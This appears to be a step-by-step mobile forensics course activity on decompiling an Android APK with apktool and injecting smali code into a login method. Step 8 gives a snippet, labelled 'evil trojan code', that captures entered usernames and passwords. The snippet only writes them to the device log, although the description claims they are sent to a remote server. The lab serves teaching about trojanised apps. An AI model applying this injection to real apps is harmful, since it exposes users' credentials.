Activity 2 - Mobile Forensics

Re-building the APK File

Estimated Time : 30 Minutes

Objective

In this Activity 2, APK file is extracted to a folder and malicious code is injected into one of the files.

Description

After generating a signed APK file in Activity 1, we will extract it into a folder structure and inject a malicious code into one of the files. This code will take a copy of login credentials entered on the app and sends to a remote server unnoticed.

Artifacts

Click below link to download files.
login.apk

p9cert.jks

Instructions

Step 1: Download the file "apktool_2.0.0rc3.jar" from below given link. With help of this jar file, we will extract the "app-release.apk" file created in Activity 1 and see the files content.

https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.0.0rc3.jar

Step 2: Now place the downloaded file in the same directory where "app-release.apk" exists.

Step 3: Open command prompt and go to folder location where files "apktool_2.0.0rc3.jar" & "app-release.apk" are present.

Step 4: Run below command to extract the apk file into a folder structure.

Step 5: Go inside app-release folder and observe the sub-folders

Step 6: There are several files with extension as ".smali" inside sub-folder called "smali" under app-release

Step 7: Search for file "RestClient.smali" and open it in any text editor (Example: Notepad++). Now find the method "performLogin" in the code.

Step 8: Add below piece of code after ".line 258" in the file.

# EVIL TROJAN CODE LOGGING PASSWORD
const-string v0, "TTUPROJECT"
const-string v1, "USERNAME AND PASSWORD BELOW"
invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
invoke-static {v0, p3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
invoke-static {v0, p4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
# END OF EVIL TROJAN CODE

Step 9: Save the code changes in "RestClient.smali" file

Self-Assessment

Please complete the following self-assessment over Activity 2.
Start Assessment

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